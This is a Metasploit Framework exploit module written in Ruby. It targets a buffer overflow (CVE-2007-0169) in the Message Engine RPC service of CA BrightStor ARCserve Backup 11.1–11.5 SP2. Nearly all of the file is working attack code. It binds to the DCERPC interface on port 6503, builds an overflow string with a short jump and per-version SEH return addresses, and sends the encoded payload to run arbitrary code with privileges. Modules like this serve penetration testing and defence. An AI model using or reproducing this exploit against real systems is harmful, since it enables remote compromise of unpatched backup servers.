##
# $Id: message_engine.rb 9179 2010-04-30 08:40:19Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::DCERPC
def initialize(info = {})
super(update_info(info,
'Name' => 'CA BrightStor ARCserve Message Engine Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in Computer Associates BrightStor ARCserve Backup
11.1 - 11.5 SP2. By sending a specially crafted RPC request, an attacker could overflow
the buffer and execute arbitrary code.
},
'Author' => [ 'MC', 'patrick' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9179 $',
'References' =>
[
[ 'CVE', '2007-0169' ],
[ 'OSVDB', '31318' ],
[ 'BID', '22005' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 600,
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'BrightStor ARCserve r11.1', { 'Ret' => 0x23805d10 } ], #p/p/r cheyprod.dll 07/21/2004
[ 'BrightStor ARCserve r11.5', { 'Ret' => 0x2380ceb5 } ],
[ 'BrightStor ARCserve r11.5 SP2', { 'Ret' => 0x2380a47d } ],
],
'DisclosureDate' => 'Jan 11 2007',
'DefaultTarget' => 1))
register_options(
[
Opt::RPORT(6503)
], self.class)
end
def exploit
connect
handle = dcerpc_handle('dc246bf0-7a7a-11ce-9f88-00805fe43838', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
filler = rand_text_english(616) + Rex::Arch::X86.jmp_short(6) + rand_text_english(2) + [target.ret].pack('V')
sploit = NDR.string(filler + payload.encoded + "\x00") + NDR.long(0)
print_status("Trying target #{target.name}...")
begin
dcerpc_call(47, sploit)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
end
handler
disconnect
end
end